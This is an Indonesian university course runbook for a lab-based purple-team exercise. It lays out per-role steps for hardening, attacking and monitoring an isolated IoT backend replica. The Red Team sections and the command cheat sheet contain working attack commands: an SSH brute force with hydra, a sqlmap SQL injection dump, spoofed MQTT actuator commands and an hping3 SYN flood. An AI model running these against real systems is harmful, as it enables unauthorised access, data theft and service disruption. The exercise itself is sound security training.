PANDUAN PENGERJAAN PBL

Runbook Per Role — Fase 1 sampai Fase 3

Simulated SOC Engagement: Mengamankan Infrastruktur Backend Sistem IoT

Item	Keterangan
Mata kuliah	TEK1314 Keamanan Siber — D4 Teknologi Rekayasa Komputer, SV IPB
Kelas / Kelompok	TEK-A / Kelompok 4
Subnet lab	192.168.4.0/24 (isolated lab, tanpa koneksi internet)
Target Node replika	192.168.4.5 — Ubuntu Server LTS 26.04
Attacker Node	192.168.4.100 — Kali Linux
Monitoring Node	192.168.4.200 — Security Onion 3.2
Repositori	github.com/anggi267/TEK1314-2026-Kel04-KelasA
Acuan penilaian	Panduan PBL Pertemuan 9, Bagian VII (kriteria), VIII (hardening), IX (attack plan), X (Purple Team Loop)

Anggota & peran

Peran	Nama	NIM	Tanggung jawab utama
Lead	Olan	(lihat lampiran)	Koordinasi, jadwal, verifikasi repo & akses dosen, logbook
Blue Team	Anggi Permana Putra	J0404241154	Hardening, baseline, deteksi, analisis, mitigasi, Incident Report
Red Team	Raka Syauqi Ferdian	J0404241112	Rencana & eksekusi serangan, dokumentasi bukti serangan
Red Team	Zidan	(lihat lampiran)	Eksekusi serangan, perekaman bukti, analisis teknik

Cara pakai: baca Bagian 1 (milestone) sekali sebagai tim, lalu tiap anggota cukup bekerja pada sub-bagian role-nya sendiri. Setiap langkah punya kolom "Bukti" — jika bukti belum ada, langkah belum boleh ditandai selesai.

1. Peta Milestone Fase 1 – Fase 3

Satu halaman ini adalah kontrak kerja tim: apa yang harus ada di repo pada tiap minggu, dan siapa yang bertanggung jawab menyelesaikannya.

Minggu	Fase	Fokus	Deliverable wajib	PIC utama
1	F1	Pembentukan tim & peran, aturan kerja	Repo + pembagian role	Lead
2	F1	Instalasi CyberOps Workstation & Security Onion (CyberOps = alat praktikum, bukan node topologi)	VM hidup, screenshot instalasi	Blue
3	F1	Hardening & audit dasar Linux	Catatan praktikum, hardening awal	Blue
4	F1	Perancangan arsitektur & skema IP	docs/design/topology.png, ip_plan.md	Blue + Lead
5–6	F1	Praktikum jaringan: routing, Wireshark, ACL	Laporan praktikum 4–6	Red + Blue
7–8	F1	UTS praktikum & UTS teori	Lembar jawaban UTS	Semua
9	F2	Checkpoint: presentasi rencana Fase 2	slides.pdf, tech stack, hardening checklist, attack plan, purple-team-log	Semua
10	F2	Baseline traffic + hardening prioritas + loop RT-01, RT-02	evidence/before, after, rt01, rt02	Blue + Red
11	F2	Loop RT-03, RT-04, RT-05 + tutup siklus	purple-team-log.md lengkap, Vulnerability Assessment Report	Blue + Red

Minggu	Fase	Fokus	Deliverable wajib	PIC utama
12	F3	Digital forensics & draf Incident Report	Incident Report (NIST SP 800-61r2)	Blue
13	F3	IoT security awareness & remediasi lanjutan	Catatan remediasi + materi awareness	Semua
14	F3	Gladi bersih & video demo	Draf laporan akhir + video	Lead
15	F3	Presentasi final + demo live	Laporan final, artefak GitHub, video	Semua

Status per dokumen ini dibuat: Minggu 1–9 SELESAI (dokumen), Minggu 10–15 BELUM dieksekusi. Jangan menandai langkah selesai sebelum buktinya ada di repo.

2. Fase 1 — Fondasi & Baseline (Minggu 1–7, selesai)

Fase 1 sudah berjalan; bagian ini tetap ditulis agar (a) anggota baru bisa mengejar ketinggalan, dan (b) jelas fondasi mana yang dipakai ulang di Fase 2.

2.1 Lead — Olan

#	Langkah	Keluaran / cara verifikasi
L1	Tetapkan tiga peran (Lead, Red, Blue) dan tulis di README repo.	README berisi tabel peran bernama
L2	Buat repo GitHub kelompok; tetapkan aturan commit deskriptif (bukan "update").	Commit message bermakna, mis. "docs: add ip plan"
L3	Kunci subnet unik 192.168.4.0/24 sesuai kontrak kuliah dan pastikan tidak dipakai kelompok lain.	Tercatat di docs/design/ip_plan.md
L4	Jadwalkan sesi instalasi VM; pastikan tiap anggota punya salinan OVA/ISO.	Jadwal + daftar file instalasi
L5	Verifikasi deliverable Minggu 4 lengkap sebelum praktikum berikutnya.	topology.png + ip_plan.md ada di repo
L6	Catat kendala (RAM laptop, bentrok IP, VM gagal boot) beserta solusinya.	Tabel kendala di logbook

2.2 Blue Team — Anggi Permana Putra

#	Langkah	Keluaran / cara verifikasi
B1	Instal CyberOps Workstation (OVA) dan Security Onion (ISO 3.2.0). CyberOps hanya untuk praktikum Linux Minggu 3 — tidak dipakai di topologi PBL.	VM boot, login berhasil (docs/Pertemuan 2)
B2	Set IP statis tiap node sesuai ip_plan (target .5, attacker .100, monitoring .200); uji ping antar node.	Ping berhasil dua arah
B3	Verifikasi sensor melihat trafik: buat ping dari Kali ke target, cek Zeek conn.log / tcpdump di Onion.	Screenshot conn.log berisi pasangan IP
B4	Hardening awal di target: ganti password default, aktifkan firewall dasar bila tersedia, matikan service yang jelas tidak perlu.	Catatan perubahan + screenshot config
B5	Rekam baseline awal: daftar port terbuka, service berjalan, versi paket.	Output nmap/netstat tersimpan
B6	Susun draft checklist hardening A/B/C (baru berupa rencana pada Fase 1).	docs/blueteam/hardening_checklist.md

2.3 Red Team — Raka Syauqi Ferdian & Zidan

#	Langkah	Keluaran / cara verifikasi
R1	Riset port & service yang berpotensi dieksploitasi pada target (21, 22, 23, 80, 3306, 445, 8180).	Daftar port + alasan, dari hasil scan terkontrol
R2	Petakan layanan replika ke kelemahan yang disengaja (kredensial lemah, SQLi api.php, MQTT anonymous).	Tabel layanan → kelemahan → skenario
R3	Serahkan daftar port & catatan celah ke Blue Team sebagai masukan desain topologi (tugas role Minggu 4).	Komentar/commit yang merujuk daftar tersebut

#	Langkah	Keluaran / cara verifikasi
R4	Siapkan Kali: nmap, metasploit, hydra, sqlmap, hping3, mosquitto-clients.	Output "which" semua tool
R5	Uji konektivitas lab: ping & nmap -sn (bukan scan penuh) untuk memastikan jalur siap.	Hasil ping/scan ringan

Deliverable Fase 1 yang dipakai ulang di Fase 2

Artefak Fase 1	Dipakai untuk apa di Fase 2–3
docs/design/topology.png, ip_plan.md	dasar slide arsitektur + verifikasi penempatan sensor
Daftar port & CVE hasil riset Red Team	dasar penyusunan 5 skenario attack plan
Baseline port/service Blue Team	pembanding "before" pada checklist hardening
Catatan kendala (RAM, bentrok IP)	dasar mitigasi risiko pada Bagian 6 dokumen ini

3. Fase 2 — Deteksi & Respons (Minggu 9–11)

3.1 Minggu 9 — checkpoint (sudah dilaksanakan)

Role	Langkah yang harus sudah selesai	Status
Lead	Susun deck 8 slide, tetapkan pembagian bicara 20 menit, commit slides.pdf sebelum sesi, verifikasi repo bisa dibuka dosen.	Selesai
Blue	Isi hardening checklist 10 kontrol (A/B/C) + skema bukti before/after + rencana baseline.	Selesai
Red	Susun attack plan 5 skenario (4 kategori) dengan tools eksplisit + rules of engagement.	Selesai
Semua	Isi Deklarasi Tech Stack (pemetaan komponen IoT → replika) dan update logbook Minggu 1–9.	Selesai (produk IoT masih perlu dikonfirmasi)

Pekerjaan rumah sebelum Minggu 10: (1) push commit terakhir ke GitHub, (2) konfirmasi produk IoT asli kelompok agar tabel tech stack final, (3) pastikan ketiga VM bisa dinyalakan bersamaan atau tetapkan jadwal bergantian.

3.2 Blue Team — sesi S1: baseline & hardening prioritas (150 menit)

Urutan di bawah ini tidak boleh ditukar: menerapkan firewall sebelum port SSH diizinkan akan mengunci kalian dari VM sendiri.

#	Langkah	Perintah / detail	Bukti wajib
B1	Snapshot VM target sebelum perubahan apa pun.	VirtualBox/VMware → Snapshot, nama snap-s1-<tanggal>	screenshot nama snapshot
B2	Pastikan NIC sudah di Internal Network pbl-kel4 dan IP guest sesuai ip_plan.	ip -brief a di tiap VM; ping 192.168.4.5 dari Kali dan dari Onion; nmap -sn 192.168.4.0/24	screenshot ip a + ping
B3	Rekam baseline normal 15 menit (tanpa serangan).	ping -i 5, 10x buka dashboard, query API tiap 10 s, tcpdump di sensor	baseline_minggu9.pcap + baseline_summary.md
B4	Jalankan perekam baseline otomatis.	sudo bash scripts/blueteam/01_rekam_baseline.sh	evidence/before/00–07
B5	A-2: pasang SSH key, uji login key DULU sebelum mematikan password.	ssh-copy-id -i ~/.ssh/pbl_kel4.pub iotadmin@192.168.4.5 lalu login pakai -i	A2_after_key_login_ok.png
B6	A-2: matikan PasswordAuthentication; jangan tutup sesi SSH lama.	sed -i + /etc/init.d/ssh restart	A2_after_password_login_denied.png
B7	A-3 (opsional): ganti port 22 → 2222.	sed -i s/^#*Port.*/Port 2222/	A3_after_ssh_port2222_nmap.png
B8	B-2: siapkan semua rule ufw SEBELUM enable (2222 wajib allow).	ufw default deny incoming; ufw allow 2222/tcp; ufw allow 80/tcp; ufw --force enable	B2_after_ufw_status.png

#	Langkah	Perintah / detail	Bukti wajib
B9	Uji dari Kali: SSH masih bisa, port lain tertutup.	nmap -sS -p1-1024 192.168.4.5	B2_before_nmap_vs_after_nmap.png
B10	B-1: matikan service tak terpakai (telnet, rsh, tftp, smtp, ircd, distccd, tomcat).	killall/update-rc.d -f remove sesuai checklist	B1_after_nmap_full.txt
B11	B-3: patch paket + hapus kredensial lemah/default.	apt upgrade; mysql_secure_installation; passwd iotadmin; apt list --upgradable	B3_after_apt_upgraded.txt + B3_after_mysql_secure.png
B12	C-1: pindahkan kredensial aplikasi ke .env (chmod 600).	lihat checklist C-1	C1_after_env_file_chmod600.png
B13	Rekam kondisi after, update status checklist, commit.	sudo bash scripts/blueteam/02_rekam_after.sh	commit "feat(blueteam): baseline + 5 hardening controls"

Pitfall yang paling sering menghabiskan waktu: (1) VM target saat ini berisi Ubuntu 25.04 yang sudah EOL — pasang ulang ke 26.04 LTS dulu, kalau tidak "apt upgrade" untuk B-3 akan gagal. (2) Jangan aktifkan ufw sebelum port SSH 2222 diizinkan, dan jangan matikan password auth sebelum login pakai key terbukti berhasil — dua hal ini yang paling sering membuat kelompok terkunci dari VM sendiri. (3) Saat mengaktifkan ACL Mosquitto, uji ulang dashboard: user yang salah di ACL akan mematikan dashboard dan menghapus sasaran RT-03.

Contoh aturan iptables bila ufw tidak tersedia (opsional, jarang perlu di Ubuntu):

```
iptables -F; iptables -P INPUT DROP; iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --update --seconds 600 --hitcount 4 --name
SSH -j DROP
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
```

3.3 Blue Team — sesi S2–S5: deteksi, analisis, mitigasi, verifikasi

Pola tiap loop sama; yang berubah hanya query log dan kontrol yang ditambahkan. Jangan mengubah skenario; yang dinilai adalah siklus tertutupnya.

#	Langkah	Detail operasional	Bukti
B14	Tahap 2 — deteksi: saring log pada rentang waktu serangan.	Security Onion → Hunt → event.dataset:conn and source.ip:192.168.4.100 (tambahkan destination.ip:192.168.4.5)	screenshot alert/log
B15	Jika TIDAK ada alert, catat sebagai temuan (bukan kegagalan).	Tulis query yang dicoba + hasil kosong di <id>_no_alert.md	file <id>_no_alert.md
B16	Tahap 3 — analisis: jelaskan mengapa berhasil/gagal, kontrol mana yang kurang.	Isi kolom analisis di docs/purple-team-log.md (root cause, bukan gejala)	baris log terisi
B17	Tahap 4 — respons: tambahkan kontrol penutup sesuai tabel Bagian 7 attack plan.	Mis. RT-02 → A-2 key-only + A-4 fail2ban + B-3 password kuat + A-1 no-root	diff config sebelum/sesudah
B18	Commit perubahan sebelum Red menguji ulang.	git commit -m "feat(blueteam): block FTP after RT-02"	hash commit
B19	Tahap 5 — konfirmasi: minta Red mengulang skenario yang sama, lalu cocokkan hasil.	Serangan harus gagal/terblokir + alert tetap muncul	screenshot percobaan ulang gagal
B20	RT-04 khusus: buat rule alert MQTT kustom (tidak ada signature bawaan).	Alert bila CONNECT/PUBLISH ke aktuator/# dari IP selain gateway 192.168.4.100	rule + screenshot alert menyala
B21	RT-05 khusus: aktifkan rate-limit per sumber + syncookies.	ufw limit 80/tcp atau iptables -m limit; sysctl -w net.ipv4.tcp_syncookies=1	output sysctl + curl tetap 200
B22	Catat timeline insiden gaya NIST SP 800-61r2 tiap skenario.	Kolom: waktu deteksi, sumber, teknik, dampak, tindakan, status	draf Incident Report Minggu 12

Contoh kerangka rule Suricata untuk RT-04 (sesuaikan nomor sid & threshold):

```
alert tcp !192.168.4.100 any -> 192.168.4.5 1883 (msg:"MQTT CONNECT/PUBLISH dari host tak berizin"; \
  flow:to_server,established; content:"|10|"; depth:1; classtype:attempted-admin; sid:4000001; rev:1;)
```

Catatan: rule di atas menyaring byte pertama header MQTT (0x10 = CONNECT). Uji dulu di mode deteksi sebelum dijadikan alert produksi, dan dokumentasikan false positive-nya.

3.4 Red Team — Raka Syauqi Ferdian & Zidan

Aturan main: satu skenario tuntas dulu, lapor jam mulai/selesai ke Blue, baru lanjut. Semua output wajib disimpan sebagai teks, bukan hanya screenshot.

#	Skenario / langkah	Perintah inti	Bukti
R6	Siapkan folder bukti rt01–rt05 + cek tools.	mkdir -p docs/redteam/evidence/rt0{1..5}; which nmap msfconsole sqlmap hydra hping3 mosquitto_pub	screenshot which
R7	RT-01 recon: full TCP + service/OS fingerprint.	nmap -sS -p- -T4 --min-rate 1000 192.168.4.5 -oA rt01_fulltcp	rt01_fulltcp.nmap/.xml/.gnmap
R8	Kirim jam mulai/selesai serangan ke Blue (wajib).	catat timestamp: date -Is	rt01_command.txt
R9	RT-02 brute-force SSH (kredensial lemah, kelemahan disengaja #1).	hydra -l iotadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.4.5 -t 4 -f -V	rt02_hydra_baseline.txt
R10	RT-02 ukur dampak setelah berhasil login.	ssh iotadmin@192.168.4.5; id; sudo -l; mysql -u iotadmin -p iot_db	rt02_dampak.txt (sudo -l penuh)
R11	RT-03 SQLi: login DVWA dulu, set security=low, ambil cookie sesi.	browser/curl → salin PHPSESSID	screenshot sesi
R12	RT-03 eksekusi sqlmap.	sqlmap -u "http://192.168.4.5/iot-dashboard/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=...; security=low" --batch --dbs --dump -T users	rt03_sqlmap.txt
R13	RT-04 MQTT spoof publish (kondisional).	mosquitto_sub -h 192.168.4.5 -t "#" -v ; mosquitto_pub -h 192.168.4.5 -t aktuator/pompa -m '{"cmd":"ON"}'	rt04_pub.txt
R14	RT-05 SYN flood terkontrol 60 detik.	sudo timeout 60 hping3 -S --flood -p 80 192.168.4.5	rt05_hping3.txt + curl latency
R15	Tahap 5: ulangi tiap skenario SETELAH mitigasi Blue.	perintah sama, output disimpan dengan akhiran _after	rt0X_*_after.txt
R16	Tulis catatan: berhasil/gagal, penyebab, kaitan kontrol checklist.	docs/redteam/evidence/rt0X/rt0X_notes.md	file notes

Batas yang tidak boleh dilanggar: (1) hanya 192.168.4.0/24, (2) DoS maksimal 60 detik satu service, (3) snapshot VM sebelum sesi, (4) tidak menyensor bukti sampai tidak terbaca — sensor hanya password/hash, (5) bila serangan tetap berhasil setelah mitigasi, tandai TERBUKA di log; itu temuan yang benar, bukan kegagalan.

3.5 Lead — selama Fase 2

#	Langkah	Bukti
L7	Buka tiap sesi: cek snapshot, tulis jam mulai di logbook, ingatkan ROE.	baris logbook
L8	Catat persetujuan Rules of Engagement sebelum Red menyerang (tanggal + jam).	komentar/commit di attack_plan.md
L9	Jaga timebox: jika Blue belum menyelesaikan hardening, Red tidak boleh mulai.	—
L10	Tutup tiap sesi dengan rapat 10 menit + isi tabel rekap purple team log.	tabel rekap terisi
L11	Commit akhir sesi dengan pesan deskriptif; pastikan tidak ada kredensial ikut ter-commit.	git log + git diff --stat
L12	Minggu 11: susun kerangka Vulnerability Assessment Report sebelum mengisi detailnya.	docs/reports/va-report.md

4. Fase 3 — Forensik, Awareness & Finalisasi (Minggu 12–15)

Fase 3 menilai kemampuan menjelaskan dan mempertanggungjawabkan, bukan menambah serangan baru. Semua isinya diambil dari artefak Fase 2 — karena itu kelengkapan bukti Fase 2 menentukan nilai Fase 3.

4.1 Minggu 12 — Digital forensics & Incident Report (NIST SP 800-61r2)

Role	#	Langkah	Bukti / keluaran
Blue	B23	Pilih satu skenario yang paling kaya bukti (biasanya RT-02 atau RT-03) untuk dijadikan studi forensik.	pilihan + alasan singkat
Blue	B24	Kumpulkan artefak forensik: pcap, log Zeek (conn/http/dns), auth.log target, riwayat perintah, file yang berubah.	folder docs/reports/forensics/
Blue	B25	Susun timeline serangan (waktu, sumber, teknik, dampak) memakai timestamp dari Red.	tabel timeline
Blue	B26	Tulis Incident Report lengkap 4 fase NIST: Preparation; Detection & Analysis; Containment, Eradication & Recovery; Post-Incident Activity (lessons learned).	docs/reports/incident-report.md
Red	R17	Serahkan log eksekusi + timestamp persis untuk tiap langkah serangan (bukan ringkasan).	file rt0X_command.txt
Red	R18	Tuliskan penjelasan teknik dari sisi penyerang (mengapa langkah itu dipilih) untuk bagian analisis.	paragraf di incident report
Lead	L13	Review konsistensi: nomor CVE, IP, waktu, dan nama kontrol harus sama dengan checklist & attack plan.	checklist review

4.2 Minggu 13 — IoT security awareness & remediasi lanjutan

Role	#	Langkah	Bukti
Semua	X1	Petakan temuan menjadi 5 rekomendasi yang bisa dipahami pengguna akhir (bukan istilah teknis).	materi awareness 1 halaman
Blue	B27	Terapkan minimal 3 remediasi tambahan pada replika (mis. TLS pada dashboard, rotasi kredensial, log terpusat).	diff config + bukti after
Blue	B28	Perbarui hardening checklist: status akhir tiap kontrol + catatan bila diganti kontrol lain.	checklist final
Red	R19	Uji ulang 1 skenario sebagai bukti remediasi bekerja (regression test).	output _after kedua
Lead	L14	Pastikan README menjelaskan cara menjalankan ulang lab dari nol (untuk dosen/asisten).	README bagian "menjalankan ulang"

4.3 Minggu 14 — Gladi bersih & video demo

Role	#	Langkah	Bukti
Lead	L15	Susun rundown final (per menit), gladi minimal 2×, catat bagian yang melebihi waktu.	rundown + catatan waktu
Lead	L16	Rekam video demo (5–8 menit): lab hidup, Security Onion menangkap serangan, mitigasi, uji ulang gagal.	video tersimpan + link
Blue	B29	Siapkan skrip demo agar tidak bergantung internet: perintah sudah di file, log sudah diekspor.	skrip demo
Red	R20	Siapkan skrip serangan yang aman didemokan live (pilih yang paling stabil, bukan yang paling rumit).	skrip demo red
Semua	X2	Peer review internal: tiap anggota menilai 1 bagian anggota lain, catat perbaikan.	catatan review

4.4 Minggu 15 — Presentasi final & demo live

Role	#	Langkah	Bukti
Lead	L17	Verifikasi seluruh artefak sudah di GitHub sebelum sesi (slides.pdf, laporan, evidence, video).	screenshot repo
Lead	L18	Buka presentasi dengan ringkasan dampak bisnis (data operasional, perintah aktuator, ketersediaan) — bukan daftar tools.	slide pembuka

Role	#	Langkah	Bukti
Blue	B30	Jelaskan siklus deteksi → analisis → mitigasi → verifikasi dengan satu contoh utuh (satu skenario).	slide + log
Red	R21	Jelaskan mengapa serangan itu relevan dengan tech stack replika, bukan serangan generik.	slide
Semua	X3	Siapkan jawaban untuk 5 pertanyaan yang paling mungkin muncul (lihat Bagian 7).	catatan Q&A

5. Matriks Artefak, PIC, dan Waktu Commit

Artefak	PIC	Batas waktu	Kriteria yang dilayani
docs/design/topology-v2.png, ip_plan.md	Blue + Lead	Minggu 4 + revisi Minggu 9	Arsitektur 20%
docs/presentation-minggu9/slides.pdf	Lead	sebelum sesi Minggu 9	Semua kriteria
docs/presentation-minggu9/tech_stack_declaration.md	Lead + Blue	Minggu 9	Pemetaan tech stack 20%
docs/blueteam/hardening_checklist.md + evidence/	Blue	Minggu 9 (rencana) → 10–11 (bukti)	Hardening 30%
docs/redteam/attack_plan.md + evidence/	Red	Minggu 9 (rencana) → 10–11 (bukti)	Attack plan 20%
docs/purple-team-log.md	Blue + Red	Minggu 11	Purple Team Loop (VA Report)
Vulnerability Assessment Report	Lead + Blue	Minggu 11	Nilai formal Fase 2
Incident Report (NIST SP 800-61r2)	Blue	Minggu 12	Fase 3
Laporan akhir + video demo	Semua	Minggu 15	Presentasi final
docs/logbook.md	Lead	diperbarui tiap minggu	Kerja sama 10%

6. Risiko yang Sudah Teridentifikasi & Penanganannya

Risiko	Dampak	Penanganan
Terkunci dari VM sendiri setelah mengubah port/firewall	Sesi habis, hardening gagal	Snapshot dulu; siapkan rule sebelum enable; jangan tutup sesi SSH lama
VM target masih Ubuntu 25.04 (EOL)	apt upgrade gagal → kontrol B-3 tidak terbukti	Pasang ulang ke 26.04 LTS sebelum sesi S1
Ganti password root MySQL mematikan DVWA	Skenario RT-03 tidak bisa dijalankan	Perbarui config/config.inc.php DVWA sebelum lanjut
MQTT broker tidak bisa dipasang	RT-04 tidak dapat dieksekusi	Tandai kondisional; ganti dengan uji HTTP REST tanpa autentikasi, atau tambah VM Ubuntu kedua
RAM laptop tidak cukup untuk 3 VM	Sesi terbuang untuk troubleshooting	Jadwalkan Onion bergantian; matikan desktop environment; tambah RAM/SSD
Red menyerang sebelum Blue selesai hardening	Bukti Tahap 1–5 tidak sinkron	Timebox + konfirmasi tertulis antar-role sebelum mulai
Repo privat / dosen tidak punya akses	Nilai presentasi 0	Undang dosen sebagai collaborator H-1, uji di mode incognito
Kredensial asli ikut ter-commit	Masalah etika & keamanan	Cek git diff sebelum commit; gunakan .env dan .gitignore

7. Definisi Selesai per Role & Antisipasi Pertanyaan

Role	Selesai bila ...
Lead	Semua artefak ada di repo sebelum tenggat, repo bisa dibuka dosen, logbook terisi tiap minggu, tiap sesi punya catatan waktu & keputusan.
Blue	Setiap kontrol yang diklaim "Selesai" punya bukti before + after; setiap skenario punya catatan deteksi (termasuk yang tidak terdeteksi); Incident Report lengkap 4 fase NIST.
Red	Setiap skenario punya perintah, output teks, timestamp, dan hasil uji ulang setelah mitigasi; tidak ada bukti yang hanya berupa klaim lisan.

Lima pertanyaan yang paling mungkin muncul saat presentasi:

- **"Bedanya replika ini dengan sistem IoT asli kalian apa?"** → jawab dengan tabel Deklarasi Tech Stack: komponen, port, dan tiga batasan yang diakui (tanpa sensor fisik, tanpa TLS, MQTT ditambahkan).
- **"Hardening-nya sudah jalan atau baru rencana?"** → sebut status apa adanya + tunjukkan file bukti yang ada; jangan mengklaim yang belum dieksekusi.
- **"Kenapa serangannya itu, bukan yang lain?"** → kaitkan ke kelemahan yang sengaja dipasang (kredensial lemah iotadmin, SQLi api.php, MQTT anonymous) dan ke dampak bisnis.
- **"Bagaimana kalian tahu mitigasinya berhasil?"** → tunjukkan Tahap 5: perintah yang sama diulang, gagal, alert tetap muncul, plus diff config.
- **"Apa yang tidak kalian sempat kerjakan?"** → jawab dengan daftar terbuka dari purple-team-log (status TERBUKA/RENCANA) — ini menunjukkan kejujuran dan pemahaman.

8. Lampiran — Cheat Sheet Perintah per Role

8.1 Blue Team (di VM target 192.168.4.5)

```
ssh -i ~/.ssh/pbl_kel4 -p 2222 iotadmin@192.168.4.5      # login setelah hardening
sudo netstat -tulpn | grep LISTEN                        # port terbuka
sudo iptables -L -n -v                                    # aturan firewall aktif
sudo grep "Failed password" /var/log/auth.log | tail     # percobaan login
sudo tcpdump -i eth0 -nn host 192.168.4.100 -w cap.pcap   # rekam trafik
sudo bash scripts/blueteam/01_rekam_baseline.sh           # bukti before
```

8.2 Red Team (di Kali 192.168.4.100)

```
nmap -sS -p- -T4 --min-rate 1000 192.168.4.5 -oA rt01      # recon
hydra -l iotadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.4.5 -t 4 -f
sqlmap -u "http://192.168.4.5/iot-dashboard/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=<sesi>; security=low" --batch --dumps
hydra -l iotadmin -P rockyou.txt ssh://192.168.4.5 -s 2222 -t 4 -f
mosquitto_pub -h 192.168.4.5 -t aktuator/pompa -m '{"cmd":"ON"}'
sudo timeout 60 hping3 -S --flood -p 80 192.168.4.5
```

8.3 Lead (repo & verifikasi)

```
git status && git log --oneline -n 5                    # kondisi repo
git add -A && git commit -m "docs: <deskripsi>"         # commit deskriptif
git push origin main                                    # unggah (butuh kredensial)
git diff --cached --stat                                # cek file yang akan masuk
```

Dokumen ini hidup: perbarui bila urutan kerja berubah, dan catat perubahan di logbook. Semua klaim teknis di dalamnya harus bisa ditunjukkan buktinya di repositori.